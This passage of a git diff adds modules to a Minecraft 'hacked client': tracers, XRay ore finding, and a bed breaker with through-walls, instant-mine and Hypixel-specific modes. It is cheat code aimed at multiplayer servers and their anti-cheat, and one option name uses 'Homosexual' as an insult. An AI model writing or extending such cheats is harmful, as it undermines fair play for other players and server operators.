GL11.glDisable(GL11.GL_LIGHTING) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.glColor(color) + GL11.glLineWidth(1.5f) + TileEntityRendererDispatcher.instance.renderTileEntity(tileEntity, event.partialTicks, -1) + GL11.glPopAttrib() + GL11.glPopMatrix() + } + } + } + + GL11.glColor4f(1F, 1F, 1F, 1F) + mc.gameSettings.gammaSetting = gamma + } catch (e: Exception) { + e.printStackTrace() + } + } + + @EventTarget + fun onRender2D(event: Render2DEvent) { + val mode = modeValue.get() + val renderManager = mc.renderManager + val partialTicks = event.partialTicks + val shader = when (mode) { + "shaderoutline" -> OutlineShader.OUTLINE_SHADER + "shaderglow" -> GlowShader.GLOW_SHADER + else -> return + } + + val entityMap: MutableMap<Color, ArrayList<TileEntity>> = HashMap() + + // search + for (tileEntity in mc.theWorld.loadedTileEntityList) { + val color = getColor(tileEntity) ?: continue + if (!entityMap.containsKey(color)) { + entityMap[color] = ArrayList() + } + entityMap[color]!!.add(tileEntity) + } + + // draw + for ((key, value) in entityMap) { + shader.startDraw(partialTicks) + for (tileEntity in value) { + TileEntityRendererDispatcher.instance.renderTileEntityAt(tileEntity, tileEntity.pos.x - renderManager.renderPosX, tileEntity.pos.y - renderManager.renderPosY, tileEntity.pos.z - renderManager.renderPosZ, partialTicks) + } + shader.stopDraw(key, if (mode.equals("shaderglow", ignoreCase = true)) 2.5f else 1.5f, 1f) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Tracers.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Tracers.kt new file mode 100644 index 0000000..756eff8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Tracers.kt @@ -0,0 +1,98 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.Entity +import net.minecraft.util.Vec3 +import org.lwjgl.opengl.GL11 +import java.awt.Color + +@ModuleInfo(name = "Tracers", category = ModuleCategory.VISUAL) +object Tracers : Module() { + + private val colorModeValue = ListValue("Color", arrayOf("Custom", "DistanceColor", "Rainbow"), "Custom") + private val thicknessValue = FloatValue("Thickness", 2F, 1F, 5F) + private val colorRedValue = IntegerValue("R", 0, 0, 255).displayable { colorModeValue.equals("Custom") } + private val colorGreenValue = IntegerValue("G", 160, 0, 255).displayable { colorModeValue.equals("Custom") } + private val colorBlueValue = IntegerValue("B", 255, 0, 255).displayable { colorModeValue.equals("Custom") } + private val colorAlphaValue = IntegerValue("A", 150, 0, 255) + private val distanceMultplierValue = FloatValue("DistanceMultiplier", 5F, 0.1F, 10F).displayable { colorModeValue.equals("DistanceColor") } + private val playerHeightValue = BoolValue("PlayerHeight", true) + private val entityHeightValue = BoolValue("EntityHeight", true) + private val directLineValue = BoolValue("Directline", false) + + @EventTarget + fun onRender3D(event: Render3DEvent) { + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glLineWidth(thicknessValue.get()) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(false) + + for (entity in mc.theWorld.loadedEntityList) { + if (entity != null && entity != mc.thePlayer && EntityUtils.isSelected(entity, false)) { + var dist = (mc.thePlayer.getDistanceToEntity(entity) * distanceMultplierValue.get()).toInt() + + if (dist > 255) dist = 255 + + val colorMode = colorModeValue.get().lowercase() + val color = when { + EntityUtils.isFriend(entity) -> Color(0, 0, 255) + colorMode == "custom" -> Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + colorMode == "distancecolor" -> Color(255 - dist, dist, 0) + colorMode == "rainbow" -> ColorUtils.rainbow() + else -> Color.WHITE + } + + drawTraces(entity, color, !directLineValue.get()) + } + } + + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_LINE_SMOOTH) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(true) + GL11.glDisable(GL11.GL_BLEND) + GlStateManager.resetColor() + } + + fun drawTraces(entity: Entity, color: Color, drawHeight: Boolean) { + val x = (entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * mc.timer.renderPartialTicks + - mc.renderManager.renderPosX) + val y = (entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * mc.timer.renderPartialTicks + - mc.renderManager.renderPosY) + val z = (entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * mc.timer.renderPartialTicks + - mc.renderManager.renderPosZ) + + val eyeVector = Vec3(0.0, 0.0, 1.0) + .rotatePitch((-Math.toRadians(mc.thePlayer.rotationPitch.toDouble())).toFloat()) + .rotateYaw((-Math.toRadians(mc.thePlayer.rotationYaw.toDouble())).toFloat()) + + RenderUtils.glColor(color, colorAlphaValue.get()) + + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(eyeVector.xCoord, + if(playerHeightValue.get()) { mc.thePlayer.getEyeHeight().toDouble() } else { 0.0 } + eyeVector.yCoord, + eyeVector.zCoord) + GL11.glVertex3d(x, if(entityHeightValue.get()) { y + entity.height } else { y }, z) + GL11.glEnd() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Trails.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Trails.kt new file mode 100644 index 0000000..bf64d4d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Trails.kt @@ -0,0 +1,254 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual; + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.RenderUtils + +import net.minecraft.entity.EntityLivingBase +import net.minecraft.util.EnumParticleTypes +import org.lwjgl.opengl.GL11 +import org.lwjgl.util.glu.GLU +import org.lwjgl.util.glu.Sphere +import java.awt.Color + +@ModuleInfo(name = "Trails", category = ModuleCategory.VISUAL) +object Trails : Module() { + + private val typeValue = ListValue("Type", arrayOf("Line", "Rect", "heart", "lava", "smoke", "cloud", "flame", "slime", "water", "firework"), "Lava") + private val colorRedValue = IntegerValue("R", 255, 0, 255).displayable { !colorRainbowValue.get() && colorAlphaValue.displayable } + private val colorGreenValue = IntegerValue("G", 255, 0, 255).displayable { !colorRainbowValue.get() && colorAlphaValue.displayable } + private val colorBlueValue = IntegerValue("B", 255, 0, 255).displayable { !colorRainbowValue.get() && colorAlphaValue.displayable } + private val colorAlphaValue = IntegerValue("Alpha", 255, 0, 255).displayable { typeValue.equals("Line") || typeValue.equals("Rect") } + private val colorRainbowValue = BoolValue("Rainbow", false).displayable { typeValue.equals("Line") || typeValue.equals("Rect") } + private val fadeValue = BoolValue("Fade", true) + private val drawThePlayerValue = BoolValue("DrawThePlayer", true) + private val fadeTimeValue = IntegerValue("FadeTime", 2, 1, 20).displayable { fadeValue.get() } + private val precisionValue = IntegerValue("Precision", 2, 1, 20) + private val lineWidthValue = IntegerValue("LineWidth", 1, 1, 10).displayable { typeValue.equals("Line") } + private val sphereScaleValue = FloatValue("SphereScale", 0.6f, 0.1f, 2f).displayable { typeValue.equals("Sphere") || typeValue.equals("Rise")} + private val onlyThirdPerson = BoolValue("OnlyThirdPerson", false) + private val points = mutableMapOf<Int, MutableList<BreadcrumbPoint>>() + + val color: Color + get() = if (colorRainbowValue.get()) rainbow() else Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + + private val sphereList = GL11.glGenLists(1) + + init { + GL11.glNewList(sphereList, GL11.GL_COMPILE) + + val shaft = Sphere() + shaft.drawStyle = GLU.GLU_FILL + shaft.draw(0.3f, 25, 10) + + GL11.glEndList() + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + if (onlyThirdPerson.get() && mc.gameSettings.thirdPersonView == 0) return + + val fTime = fadeTimeValue.get() * 1000 + val fadeSec = System.currentTimeMillis() - fTime + val colorAlpha = colorAlphaValue.get() / 255.0f + + GL11.glPushMatrix() + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_DEPTH_TEST) + mc.entityRenderer.disableLightmap() + val renderPosX = mc.renderManager.viewerPosX + val renderPosY = mc.renderManager.viewerPosY + val renderPosZ = mc.renderManager.viewerPosZ + points.forEach { (_, mutableList) -> + var lastPosX = 114514.0 + var lastPosY = 114514.0 + var lastPosZ = 114514.0 + when(typeValue.get().lowercase()) { + "line" -> { + GL11.glLineWidth(lineWidthValue.get().toFloat()) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glBegin(GL11.GL_LINE_STRIP) + } + "rect" -> { + GL11.glDisable(GL11.GL_CULL_FACE) + } + } + for (point in mutableList.reversed()) { + val alpha = if (fadeValue.get()) { + val pct = (point.time - fadeSec).toFloat() / fTime + if (pct < 0 || pct > 1) { + mutableList.remove(point) + continue + } + pct + } else { 1f } * colorAlpha + if (!typeValue.equals("Rise")) { + RenderUtils.glColor(point.color, alpha) + } + when(typeValue.get().lowercase()) { + "line" -> GL11.glVertex3d(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + "rect" -> { + if(!(lastPosX==114514.0 && lastPosY==114514.0 && lastPosZ==114514.0)) { + GL11.glBegin(GL11.GL_QUADS) + GL11.glVertex3d(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glVertex3d(lastPosX, lastPosY, lastPosZ) + GL11.glVertex3d(lastPosX, lastPosY + mc.thePlayer.height, lastPosZ) + GL11.glVertex3d(point.x - renderPosX, point.y - renderPosY + mc.thePlayer.height, point.z - renderPosZ) + GL11.glEnd() + } + lastPosX = point.x - renderPosX + lastPosY = point.y - renderPosY + lastPosZ = point.z - renderPosZ + } + "sphere" -> { + GL11.glPushMatrix() + GL11.glTranslated(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glScalef(sphereScaleValue.get(), sphereScaleValue.get(), sphereScaleValue.get()) + GL11.glCallList(sphereList) + GL11.glPopMatrix() + } + "rise" -> { + + val circleScale = sphereScaleValue.get() + RenderUtils.glColor(point.color, 30) + GL11.glPushMatrix() + GL11.glTranslated(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glScalef(circleScale * 1.3f, circleScale * 1.3f, circleScale * 1.3f) + GL11.glCallList(sphereList) + GL11.glPopMatrix() + + RenderUtils.glColor(point.color, 50) + GL11.glPushMatrix() + GL11.glTranslated(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glScalef(circleScale * 0.8f, circleScale * 0.8f, circleScale * 0.8f) + GL11.glCallList(sphereList) + GL11.glPopMatrix() + + RenderUtils.glColor(point.color, alpha) + GL11.glPushMatrix() + GL11.glTranslated(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glScalef(circleScale * 0.4f, circleScale * 0.4f, circleScale * 0.4f) + GL11.glCallList(sphereList) + GL11.glPopMatrix() + + } + } + } + when(typeValue.get().lowercase()) { + "line" -> { + GL11.glEnd() + GL11.glDisable(GL11.GL_LINE_SMOOTH) + } + "rect" -> { + GL11.glEnable(GL11.GL_CULL_FACE) + } + } + } + GL11.glColor4d(1.0, 1.0, 1.0, 1.0) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glPopMatrix() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + val a1in8chance = (1..8).random() + var ifrender: Boolean + if (a1in8chance == 1 && MovementUtils.isMoving() && mc.gameSettings.thirdPersonView != 0){ + ifrender = true + } else { + ifrender = false + } + when(typeValue.get().lowercase()) { + "heart" -> { + if (ifrender) { + mc.effectRenderer.emitParticleAtEntity(mc.thePlayer, EnumParticleTypes.HEART); + } + } + "lava" -> { + if (ifrender) { + mc.effectRenderer.emitParticleAtEntity(mc.thePlayer, EnumParticleTypes.LAVA); + } + } + "smoke" -> { + mc.effectRenderer.emitParticleAtEntity(mc.thePlayer, EnumParticleTypes.REDSTONE); + } + "cloud" -> { + if (ifrender) { + mc.effectRenderer.emitParticleAtEntity(mc.thePlayer, EnumParticleTypes.CLOUD); + } + } + "flame" -> { + if (ifrender) { + mc.effectRenderer.emitParticleAtEntity(mc.thePlayer, EnumParticleTypes.FLAME); + } + } + "slime" -> { + if (ifrender) { + mc.effectRenderer.emitParticleAtEntity(mc.thePlayer, EnumParticleTypes.SLIME); + } + } + "water" -> { + if (ifrender) { + mc.effectRenderer.emitParticleAtEntity(mc.thePlayer, EnumParticleTypes.WATER_SPLASH); + } + } + "firework" -> { + if (ifrender) { + mc.effectRenderer.emitParticleAtEntity(mc.thePlayer, EnumParticleTypes.FIREWORKS_SPARK); + } + } + } + + + + // clear points for entities not exist + points.forEach { (id, _) -> + if(mc.theWorld.getEntityByID(id) == null) { + points.remove(id) + } + } + // add new points + if(mc.thePlayer.ticksExisted % precisionValue.get() != 0) { + return // skip if not on tick + } + if(drawThePlayerValue.get()) { + updatePoints(mc.thePlayer) + } + } + + private fun updatePoints(entity: EntityLivingBase) { + (points[entity.entityId] ?: mutableListOf<BreadcrumbPoint>().also { points[entity.entityId] = it }) + .add(BreadcrumbPoint(entity.posX, entity.entityBoundingBox.minY, entity.posZ, System.currentTimeMillis(), color.rgb)) + } + + @EventTarget + fun onWorld(event: WorldEvent) { + points.clear() + } + + override fun onDisable() { + points.clear() + } + + class BreadcrumbPoint(val x: Double, val y: Double, val z: Double, val time: Long, val color: Int) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/TrueSight.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/TrueSight.kt new file mode 100644 index 0000000..0135282 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/TrueSight.kt @@ -0,0 +1,18 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue + +@ModuleInfo(name = "TrueSight", category = ModuleCategory.VISUAL) +object TrueSight : Module() { + + val barriersValue = BoolValue("Barriers", true) + val entitiesValue = BoolValue("Entities", true) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/XRay.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/XRay.kt new file mode 100644 index 0000000..8fa0119 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/XRay.kt @@ -0,0 +1,133 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.minecraft.block.Block +import net.minecraft.init.Blocks + +@ModuleInfo(name = "XRay", category = ModuleCategory.VISUAL, autoDisable = EnumAutoDisableType.RESPAWN, moduleCommand = false) +class XRay : Module() { + + val xrayBlocks = mutableListOf<Block>( + Blocks.bed, + Blocks.coal_ore, + Blocks.iron_ore, + Blocks.gold_ore, + Blocks.redstone_ore, + Blocks.lapis_ore, + Blocks.diamond_ore, + Blocks.emerald_ore, + Blocks.quartz_ore, + Blocks.coal_block, + Blocks.iron_block, + Blocks.gold_block, + Blocks.diamond_block, + Blocks.emerald_block, + Blocks.redstone_block, + Blocks.lapis_block, + Blocks.mob_spawner, + Blocks.end_portal_frame, + Blocks.command_block + ) + + init { + FDPClient.commandManager.registerCommand(object : Command("xray", emptyArray()) { + + override fun execute(args: Array<String>) { + if (args.size > 1) { + if (args[1].equals("add", ignoreCase = true)) { + if (args.size > 2) { + try { + val block = try { + Block.getBlockById(args[2].toInt()) + } catch (exception: NumberFormatException) { + val tmpBlock = Block.getBlockFromName(args[2]) + + if (Block.getIdFromBlock(tmpBlock) <= 0 || tmpBlock == null) { + alert("§7Block §8${args[2]}§7 does not exist!") + return + } + + tmpBlock + } + + if (xrayBlocks.contains(block)) { + alert("This block is already on the list.") + return + } + + xrayBlocks.add(block) + FDPClient.fileManager.saveConfig(FDPClient.fileManager.xrayConfig) + alert("§7Added block §8${block.localizedName}§7.") + playEdit() + } catch (exception: NumberFormatException) { + chatSyntaxError() + } + + return + } + + chatSyntax("xray add <block_id>") + return + } + + if (args[1].equals("remove", ignoreCase = true)) { + if (args.size > 2) { + try { + var block: Block + + try { + block = Block.getBlockById(args[2].toInt()) + } catch (exception: NumberFormatException) { + block = Block.getBlockFromName(args[2]) + + if (Block.getIdFromBlock(block) <= 0) { + alert("§7Block §8${args[2]}§7 does not exist!") + return + } + } + + if (!xrayBlocks.contains(block)) { + alert("This block is not on the list.") + return + } + + xrayBlocks.remove(block) + FDPClient.fileManager.saveConfig(FDPClient.fileManager.xrayConfig) + alert("§7Removed block §8${block.localizedName}§7.") + playEdit() + } catch (exception: NumberFormatException) { + chatSyntaxError() + } + + return + } + chatSyntax("xray remove <block_id>") + return + } + + if (args[1].equals("list", ignoreCase = true)) { + alert("§8Xray blocks:") + xrayBlocks.forEach { alert("§8${it.localizedName} §7-§c ${Block.getIdFromBlock(it)}") } + return + } + } + + chatSyntax("xray <add, remove, list>") + } + }) + } + + override fun onToggle(state: Boolean) { + mc.renderGlobal.loadRenderers() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Ambience.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Ambience.kt new file mode 100644 index 0000000..c53aa5b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Ambience.kt @@ -0,0 +1,81 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.server.S03PacketTimeUpdate +import net.minecraft.network.play.server.S2BPacketChangeGameState + +@ModuleInfo(name = "Ambience", category = ModuleCategory.WORLD) +object Ambience : Module() { + + private val timeModeValue = ListValue("TimeMode", arrayOf("None", "Normal", "Custom"), "Normal") + private val weatherModeValue = ListValue("WeatherMode", arrayOf("None", "Sun", "Rain", "Thunder"), "None") + private val customWorldTimeValue = IntegerValue("CustomTime", 1, 0, 24).displayable { timeModeValue.equals("Custom") } + private val changeWorldTimeSpeedValue = IntegerValue("ChangeWorldTimeSpeed", 150, 10, 500).displayable { timeModeValue.equals("Normal") } + private val weatherStrengthValue = FloatValue("WeatherStrength", 1f, 0f, 1f).displayable { !weatherModeValue.equals("None") } + + var i = 0L + + override fun onDisable() { + i = 0 + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + when (timeModeValue.get().lowercase()) { + "normal" -> { + if (i < 24000) { + i += changeWorldTimeSpeedValue.get() + } else { + i = 0 + } + mc.theWorld.worldTime = i + } + "custom" -> { + mc.theWorld.worldTime = customWorldTimeValue.get().toLong() * 1000 + } + } + + when (weatherModeValue.get().lowercase()) { + "sun" -> { + mc.theWorld.setRainStrength(0f) + mc.theWorld.setThunderStrength(0f) + } + "rain" -> { + mc.theWorld.setRainStrength(weatherStrengthValue.get()) + mc.theWorld.setThunderStrength(0f) + } + "thunder" -> { + mc.theWorld.setRainStrength(weatherStrengthValue.get()) + mc.theWorld.setThunderStrength(weatherStrengthValue.get()) + } + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (!timeModeValue.equals("none") && packet is S03PacketTimeUpdate) { + event.cancelEvent() + } + + if (!weatherModeValue.equals("none") && packet is S2BPacketChangeGameState) { + if (packet.gameState in 7..8) { // change weather packet + event.cancelEvent() + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Breaker.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Breaker.kt new file mode 100644 index 0000000..ff16de5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Breaker.kt @@ -0,0 +1,550 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.combat.KillAura +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlockName +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getCenterDistance +import net.ccbluex.liquidbounce.utils.extensions.getBlock +import net.ccbluex.liquidbounce.utils.extensions.getEyeVec3 +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.multiplayer.WorldClient +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.init.Blocks +import net.minecraft.item.ItemBucketMilk +import net.minecraft.item.ItemFood +import net.minecraft.item.ItemPotion +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.network.play.client.C0APacketAnimation +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import net.minecraft.util.Vec3 +import java.awt.Color +import java.text.DecimalFormat +import java.text.DecimalFormatSymbols +import java.util.* + +@ModuleInfo(name = "Breaker", category = ModuleCategory.PLAYER) +object Breaker : Module() { + + /** + * SETTINGS + */ + private val blockValue = BlockValue("Block", 26) + private val hypixelValue = BoolValue("HypixelHomosexual", false) + private val swingValue = ListValue("Swing", arrayOf("Normal", "Packet", "None"), "Normal") + private val ignoreFirstBlockValue = BoolValue("IgnoreFirstDetection", false) + private val onClickMouse = BoolValue("OnClick", false) + private val tools = BoolValue("Tool", false) + private val noHitValue = BoolValue("NoHit", false) + private val noMoveValue = BoolValue("NoMove", false) + private val noEatValue = BoolValue("NoEat", true) + private val throughWallsValue = ListValue("ThroughWalls", arrayOf("None", "Raycast", "Around", "Hypixel"), "None") + private val sortValue = ListValue("SortType", arrayOf("Distance", "XYZ"), "Distance") + private val actionValue = ListValue("Action", arrayOf("Destroy", "Use"), "Destroy") + private val rangeValue = FloatValue("Range", 5F, 1F, 7F) + private val switchValue = IntegerValue("SwitchDelay", 250, 0, 1000) + private val surroundingsValue = BoolValue("Surroundings", true) + val rotationsValue = BoolValue("Rotations", true) + private val fastMineValue = BoolValue("FastMine", false) + private val fastMineSpeed = FloatValue("FastMine-Speed", 1.5f, 1f, 3f).displayable { fastMineValue.get() } + private val instantValue = BoolValue("InstantMine", false) + private val showProcess= BoolValue("ShowProcess", false) + private val coolDownValue = IntegerValue("Cooldown-Seconds", 15, 0, 60) + private val toggleResetCDValue = BoolValue("ResetCoolDownWhenToggled", false) + private val resetOnWorldValue = BoolValue("ResetOnWorldChange", false).displayable { ignoreFirstBlockValue.get() } + private val renderValue = ListValue("Render-Mode", arrayOf("Box", "Outline", "2D", "None"), "Box") + private val renderBed = BoolValue("RenderBed", true) + + /** + * VALUES + */ + + private var firstPos: BlockPos? = null + private var firstPosBed: BlockPos? = null + var pos: BlockPos? = null + private var oldPos: BlockPos? = null + private var blockHitDelay = 0 + private val switchTimer = MSTimer() + private val coolDownTimer = MSTimer() + private var isRealBlock = false + var currentDamage = 0F + private var facing: EnumFacing? = null + private var boost = false + private var damage = 0F + + private var lastWorld: WorldClient? = null + + //Bed ESP + private val searchTimer = MSTimer() + private val posList: MutableList<BlockPos> = ArrayList() + private var color = Color.CYAN + private var thread: Thread? = null + private var rotTicks = 0 + + + override fun onEnable() { + if (toggleResetCDValue.get()) coolDownTimer.reset() + firstPos = null + firstPosBed = null + } + + @EventTarget + fun onWorld(event: WorldEvent) { + if (event.worldClient != lastWorld && resetOnWorldValue.get()) { + firstPos = null + firstPosBed = null + } + lastWorld = event.worldClient + } + + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (pos != null) { + rotTicks++ + } else { + rotTicks = 0 + } + + if (searchTimer.hasTimePassed(1000L) && (thread == null || !thread!!.isAlive)) { + val radius = 100 + val selectedBlock = Block.getBlockById(26) + if (selectedBlock == null || selectedBlock === Blocks.air) return + thread = Thread({ + val blockList: MutableList<BlockPos> = ArrayList() + for (x in -radius until radius) { + for (y in radius downTo -radius + 1) { + for (z in -radius until radius) { + val xPos = mc.thePlayer.posX.toInt() + x + val yPos = mc.thePlayer.posY.toInt() + y + val zPos = mc.thePlayer.posZ.toInt() + z + val blockPos = BlockPos(xPos, yPos, zPos) + val block = getBlock(blockPos) + if (block === selectedBlock) blockList.add(blockPos) + } + } + } + searchTimer.reset() + synchronized(posList) { + posList.clear() + posList.addAll(blockList) + } + }, "BlockESP-BlockFinder") + thread!!.start() + } + + if (noHitValue.get()) { + val killAura = FDPClient.moduleManager[KillAura::class.java]!! + + if (killAura.state && killAura.currentTarget != null) { + return + } + } + + if (noEatValue.get()) { + if (mc.thePlayer.isUsingItem && (mc.thePlayer.heldItem?.item is ItemFood || mc.thePlayer.heldItem?.item is ItemBucketMilk || mc.thePlayer.heldItem?.item is ItemPotion)) { + return + } + } + + val targetId = blockValue.get() + + if (pos == null || Block.getIdFromBlock(getBlock(pos)) != targetId || + getCenterDistance(pos!!) > rangeValue.get()) { + pos = find(targetId) + + } + + if (!onClickMouse.get() || mc.gameSettings.keyBindAttack.isKeyDown) { + if (noMoveValue.get()) { + if (MovementUtils.isMoving()) { + firstPos = null + firstPosBed = null + facing = null + pos = null + oldPos = null + currentDamage = 0F + RotationUtils.faceBlock(null) ?: return + } + } + + if (throughWallsValue.equals("Hypixel")) { + val blockPos = find(26) ?: return + pos = if (BlockUtils.isFullBlock(blockPos.up())) { + blockPos.up()?: return + } else { + blockPos + } + } + + // Reset current breaking when there is no target block + if (pos == null) { + currentDamage = 0F + return + } + + var currentPos = pos ?: return + var rotations = RotationUtils.faceBlock(currentPos) ?: return + + // Surroundings + var surroundings = false + + if (surroundingsValue.get() && 